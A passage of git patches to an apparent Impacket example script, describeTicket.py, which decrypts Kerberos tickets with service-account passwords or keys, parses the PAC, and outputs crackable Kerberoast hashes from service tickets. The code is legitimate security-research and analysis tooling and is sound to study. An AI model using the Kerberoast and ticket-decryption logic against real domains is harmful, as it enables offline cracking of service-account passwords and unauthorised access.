+from enum import Enum + from Cryptodome.Hash import MD4 import datetime import base64 @@ -31,39 +32,70 @@ from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.krb5 import constants -from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.asn1 import TGS_REP, AS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO +class User_Flags(Enum): + LOGON_EXTRA_SIDS = 0x0020 + LOGON_RESOURCE_GROUPS = 0x0200 + +class UserAccountControl_Flags(Enum): + UF_SCRIPT = 0x00000001 + UF_ACCOUNTDISABLE = 0x00000002 + UF_HOMEDIR_REQUIRED = 0x00000008 + UF_LOCKOUT = 0x00000010 + UF_PASSWD_NOTREQD = 0x00000020 + UF_PASSWD_CANT_CHANGE = 0x00000040 + UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000080 + UF_TEMP_DUPLICATE_ACCOUNT = 0x00000100 + UF_NORMAL_ACCOUNT = 0x00000200 + UF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800 + UF_WORKSTATION_TRUST_ACCOUNT = 0x00001000 + UF_SERVER_TRUST_ACCOUNT = 0x00002000 + UF_DONT_EXPIRE_PASSWD = 0x00010000 + UF_MNS_LOGON_ACCOUNT = 0x00020000 + UF_SMARTCARD_REQUIRED = 0x00040000 + UF_TRUSTED_FOR_DELEGATION = 0x00080000 + UF_NOT_DELEGATED = 0x00100000 + UF_USE_DES_KEY_ONLY = 0x00200000 + UF_DONT_REQUIRE_PREAUTH = 0x00400000 + UF_PASSWORD_EXPIRED = 0x00800000 + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000 + UF_NO_AUTH_DATA_REQUIRED = 0x02000000 + UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 + UF_USE_AES_KEYS = 0x08000000 + def parse_ccache(args): + # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? ccache = CCache.loadFile(args.ticket) principal = ccache.credentials[0].header['server'].prettyPrint() creds = ccache.getCredential(principal.decode()) TGS = creds.toTGS(principal) - decodedTGS = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] for creds in ccache.credentials: - logging.info("%-25s: %s" % ("UserName", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) - logging.info("%-25s: %s" % ("UserRealm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') - logging.info("%-25s: %s" % ("ServiceName", spn)) - logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-25s: %s" % ("StartTime", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("EndTime", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-30s: %s" % ("Service Name", spn)) + logging.info("%-30s: %s" % ("Service Realm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-30s: %s" % ("Start Time", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) flags = [] for k in constants.TicketFlags: if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: flags.append(constants.TicketFlags(k.value).name) - logging.info("%-25s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) + logging.info("%-30s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name - logging.info("%-25s: %s" % ("KeyType", keyType)) - logging.info("%-25s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + logging.info("%-30s: %s" % ("KeyType", keyType)) + logging.info("%-30s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) if spn.split('/')[0] != 'krbtgt': logging.debug("Attempting to create Kerberoast hash") @@ -74,45 +106,51 @@ def parse_ccache(args): # the user account name that backs the requested SPN for the ticket, no no dice :( logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) elif keyType == "rc4_hmac": - kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = args.user, domain = args.domain) + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = args.user, domain = args.domain) elif args.user: if args.user.endswith("$"): user = "host%s.%s" % (args.user.rstrip('$').lower(), args.domain.lower()) else: user = args.user - kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = user, domain = args.domain) + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = user, domain = args.domain) else: logging.error("AES256 in use but no '-u/--user' passed, unable to generate crackable hash") if kerberoast_hash: - logging.info("%-25s: %s" % ("Kerberoast hash", kerberoast_hash)) + logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) logging.debug("Handling Kerberos keys") ekeys = generate_kerberos_keys(args) - # TODO : show message when decrypting ticket, unable to decrypt ticket if not enough arguments are given. Say what is missing # copypasta from krbrelayx.py # Select the correct encryption key - etype = decodedTGS['ticket']['enc-part']['etype'] + etype = decodedTicket['ticket']['enc-part']['etype'] try: logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) key = ekeys[etype] logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) # This raises a KeyError (pun intended) if our key is not found except KeyError: - LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', - decodedTGS['ticket']['enc-part']['etype'], - ', '.join([str(enctype) for enctype in ekeys.keys()])) + if len(ekeys) > 0: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) + else: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', + constants.EncryptionTypes(etype).name, + etype) return None # Recover plaintext info from ticket try: - cipherText = decodedTGS['ticket']['enc-part']['cipher'] + cipherText = decodedTicket['ticket']['enc-part']['cipher'] newCipher = _enctype_table[int(etype)] plainText = newCipher.decrypt(key, 2, cipherText) except InvalidChecksum: logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') if args.salt: logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') return logging.debug('Ticket successfully decrypted') @@ -121,14 +159,14 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - # TODO : cycle through dict instead of line by line? Filter on type, if it list, for parsed_pac['LogonInfo']["GroupIds"] & parsed_pac['LogonInfo']["ExtraSids"] parsed_pac = parse_pac(pacType) - logging.info("%-25s:" % "Decrypted PAC") + logging.info("%-30s:" % "Decrypted PAC") for element_type in parsed_pac: element_type_name = list(element_type.keys())[0] - logging.info(" %-23s:" % element_type_name) + logging.info(" %-28s:" % element_type_name) for attribute in element_type[element_type_name]: - logging.info(" %-21s: %s" % (attribute, element_type[element_type_name][attribute])) + logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) + def parse_pac(pacType): def format_sid(data): @@ -144,8 +182,15 @@ def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime - v_ticks = PACinfiniteData(data['dwLowDateTime']) + 2^32 * PACinfiniteData(data['dwHighDateTime']) - v_FILETIME = datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(seconds=v_ticks/ 1e7) + dwLowDateTime = data['dwLowDateTime'] + dwHighDateTime = data['dwHighDateTime'] + v_FILETIME = "Infinity (absolute time)" + if dwLowDateTime != 0xffffffff and dwHighDateTime != 0x7fffffff: + temp_time = dwHighDateTime + temp_time <<= 32 + temp_time |= dwLowDateTime + if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0: + v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime("%d/%m/%Y %H:%M:%S %p") return v_FILETIME def PACparseGroupIds(data): groups = [] @@ -156,33 +201,25 @@ def PACparseGroupIds(data): groups.append(groupMembership) return groups def PACparseSID(sid): - str_sid = format_sid({ - 'Revision': PACinfiniteData(sid['Revision']), - 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), - 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), - 'SubAuthority': PACinfiniteData(sid['SubAuthority']) - }) - return str_sid + if type(sid) == dict: + str_sid = format_sid({ + 'Revision': PACinfiniteData(sid['Revision']), + 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), + 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), + 'SubAuthority': PACinfiniteData(sid['SubAuthority']) + }) + return str_sid + else: + return '' def PACparseExtraSids(data): _ExtraSids = [] for sid in PACinfiniteData(PACinfiniteData(data.fields)['Data']): _d = { 'Attributes': PACinfiniteData(sid.fields['Attributes']), 'Sid': PACparseSID(sid.fields['Sid']) } _ExtraSids.append(_d['Sid']) return _ExtraSids - def PACparseResourceGroupDomainSid(data): - data = { - 'Revision': PACinfiniteData(data['Revision']), - 'SubAuthorityCount': PACinfiniteData(data['SubAuthorityCount']), - 'IdentifierAuthority': int(binascii.hexlify(data['IdentifierAuthority']), 16), - 'SubAuthority': PACinfiniteData(data['SubAuthority']) - } - return data - # parsed_tuPAC = [] - # buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): - # TODO : parse all structures infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] if infoBuffer['ulType'] == PAC_LOGON_INFO: @@ -193,63 +230,75 @@ def PACparseResourceGroupDomainSid(data): kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) - parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) - parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) - parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) - parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) - parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') - parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') - parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') - parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') - parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') - parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') - parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) - parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) - parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) - parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) - parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) + parsed_data['Logon Time'] = PACparseFILETIME(kerbdata.fields['LogonTime']) + parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) + parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) + parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) + parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) + parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) + # parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + # parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + # parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) + parsed_data['Account Name'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') + parsed_data['Full Name'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') + parsed_data['Logon Script'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') + parsed_data['Profile Path'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') + parsed_data['Home Dir'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') + parsed_data['Dir Drive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') + parsed_data['Logon Count'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['Bad Password Count'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) + parsed_data['User RID'] = PACinfiniteData(kerbdata.fields['UserId']) + parsed_data['Group RID'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) + parsed_data['Group Count'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) UserFlags = PACinfiniteData(kerbdata.fields['UserFlags']) - # todo parse UserFlags - parsed_data['UserFlags'] = "(%s) %s" % (UserFlags, "???") - parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') - parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') - parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') - parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) + User_Flags_Flags = [] + for flag in User_Flags: + if UserFlags & flag.value: + User_Flags_Flags.append(flag.name) + parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) + parsed_data['User Session Key'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') + parsed_data['Logon Server'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') + parsed_data['Logon Domain Name'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') + parsed_data['Logon Domain SID'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) UAC = PACinfiniteData(kerbdata.fields['UserAccountControl']) - # todo parse UAC - parsed_data['UserAccountControl'] = "(%s) %s" % (UAC, "???") - parsed_data['ExtraSIDCount'] = PACinfiniteData(kerbdata.fields['SidCount']) - parsed_data['ExtraSIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) - parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) + UAC_Flags = [] + for flag in UserAccountControl_Flags: + if UAC & flag.value: + UAC_Flags.append(flag.name) + parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) + parsed_data['Extra SID Count'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) + parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) + parsed_data['Resource Group Count'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['ResourceGroupIds'])]) # parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') # parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) # parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) - # parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) - # parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) parsed_tuPAC.append({"LoginInfo": parsed_data}) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - clientInfo = PAC_CLIENT_INFO(data) + clientInfo = PAC_CLIENT_INFO() + clientInfo.fromString(data) parsed_data = {} - # TODO : check client id it's probably wrong - parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S") + parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) + # In case PR fixing pac.py's PAC_CLIENT_INFO structure doesn't get through + # parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) - # upn.dump() + UpnLength = upn.fields['UpnLength'] + UpnOffset = upn.fields['UpnOffset'] + UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') + DnsDomainNameLength = upn.fields['DnsDomainNameLength'] + DnsDomainNameOffset = upn.fields['DnsDomainNameOffset'] + DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') parsed_data = {} - # todo, we don't have the same data as Rubeus - parsed_data['DNS Domain Name'] = 0 - parsed_data['UPN'] = 0 - parsed_data['Flags'] = 0 + parsed_data['Flags'] = upn.fields['Flags'] + parsed_data['UPN'] = UpnName + parsed_data['DNS Domain Name'] = DnsName parsed_tuPAC.append({"UpnDns": parsed_data}) elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: @@ -268,7 +317,6 @@ def PACparseResourceGroupDomainSid(data): parsed_tuPAC.append({"KDCChecksum": parsed_data}) elif infoBuffer['ulType'] == PAC_CREDENTIALS_INFO: - # todo logging.debug("TODO: implement PAC_CREDENTIALS_INFO parsing") elif infoBuffer['ulType'] == PAC_DELEGATION_INFO: @@ -287,13 +335,13 @@ def generate_kerberos_keys(args): # copypasta from krbrelayx.py # Store Kerberos keys keys = {} - if args.hashes: - keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.hashes.split(':')[1]) - if args.aesKey: - if len(args.aesKey) == 64: - keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + if args.rc4: + keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.rc4) + if args.aes: + if len(args.aes) == 64: + keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aes) else: - keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aes) ekeys = {} for kt, key in keys.items(): ekeys[kt] = Key(kt, key) @@ -326,13 +374,15 @@ def generate_kerberos_keys(args): rawsecret = args.password ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + else: + logging.debug('No password (-p/--password or -hp/--hexpass supplied, skipping Kerberos keys calculation') return ekeys def kerberoast_from_ccache(decodedTGS, spn, username, domain): try: if not domain: - domain = decodedTGS['ticket']['realm'].upper() + domain = decodedTGS['ticket']['realm']._value.upper() else: domain = domain.upper() @@ -368,30 +418,44 @@ def kerberoast_from_ccache(decodedTGS, spn, username, domain): decodedTGS['ticket']['enc-part']['etype'])) return entry except Exception as e: + raise logging.debug("Not able to parse ticket: %s" % e) def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Ticket describor') + parser = argparse.ArgumentParser(add_help=True, description='Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC.') parser.add_argument('ticket', action='store', help='Path to ticket.ccache') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - # Authentication arguments - group = parser.add_argument_group('Some account information') - group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='placeholder') - group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="PASSWORD", help='placeholder') - group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') - group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') - group.add_argument('-s', '--salt', action="store", metavar="SALT", help='placeholder') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='placeholder') - group.add_argument('-aesKey', action="store", metavar="hex key", help='placeholder') + group = parser.add_argument_group() + group.title = 'Ticket decryption credentials (optional)' + group.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ + '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ + 'of the service account who owns SPN "cifs/service.domain.local")' + group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') + group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') + group.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') + group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') + group.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') + group.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') + group.add_argument('--aes', action="store", metavar="HEX KEY", help='AES128 or AES256 key') + if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() + + if not args.salt: + if args.user and not args.domain: + parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt') + parser.print_help() + elif not args.user and args.domain: + parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt') + parser.print_help() + return args From 1c385cccac6da978862b7642e3dd97c91150782c Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:09:57 +0100 Subject: [PATCH 014/152] Added PAC Credentials structure, improved code --- examples/describeTicket.py | 318 +++++++++++++++++++++---------------- 1 file changed, 181 insertions(+), 137 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index e6e8071c11..0a22678205 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -8,7 +8,7 @@ # for more information. # # Description: -# Python script that describes the values of the ticket (TGT or Service Ticket). +# Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC. # # Authors: # Remi Gascou (@podalirius_) @@ -28,15 +28,15 @@ from impacket.krb5.constants import ChecksumTypes from pyasn1.codec.der import decoder -from impacket import LOG, version +from impacket import version from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import TypeSerialization1 -from impacket.krb5 import constants +from impacket.krb5 import constants, pac from impacket.krb5.asn1 import TGS_REP, AS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ - PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO +# from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ +# PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO class User_Flags(Enum): LOGON_EXTRA_SIDS = 0x0020 @@ -70,15 +70,17 @@ class UserAccountControl_Flags(Enum): def parse_ccache(args): - # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? ccache = CCache.loadFile(args.ticket) - principal = ccache.credentials[0].header['server'].prettyPrint() - creds = ccache.getCredential(principal.decode()) - TGS = creds.toTGS(principal) - decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + logging.info('Parsing credential: %d' % cred_number) for creds in ccache.credentials: + TGS = creds.toTGS() + # sessionKey = hexlify(TGS['sessionKey'].contents).decode('utf-8') + decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') @@ -118,66 +120,62 @@ def parse_ccache(args): if kerberoast_hash: logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) - logging.debug("Handling Kerberos keys") - ekeys = generate_kerberos_keys(args) - - # copypasta from krbrelayx.py - # Select the correct encryption key - etype = decodedTicket['ticket']['enc-part']['etype'] - try: - logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) - key = ekeys[etype] - logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) - # This raises a KeyError (pun intended) if our key is not found - except KeyError: - if len(ekeys) > 0: - LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', - constants.EncryptionTypes(etype).name, - etype, - ', '.join([str(enctype) for enctype in ekeys.keys()])) - else: - LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', - constants.EncryptionTypes(etype).name, - etype) - return None - - # Recover plaintext info from ticket - try: - cipherText = decodedTicket['ticket']['enc-part']['cipher'] - newCipher = _enctype_table[int(etype)] - plainText = newCipher.decrypt(key, 2, cipherText) - except InvalidChecksum: - logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') - if args.salt: - logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') - logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') - return - - logging.debug('Ticket successfully decrypted') - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) - adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] - # So here we have the PAC - pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - parsed_pac = parse_pac(pacType) - logging.info("%-30s:" % "Decrypted PAC") - for element_type in 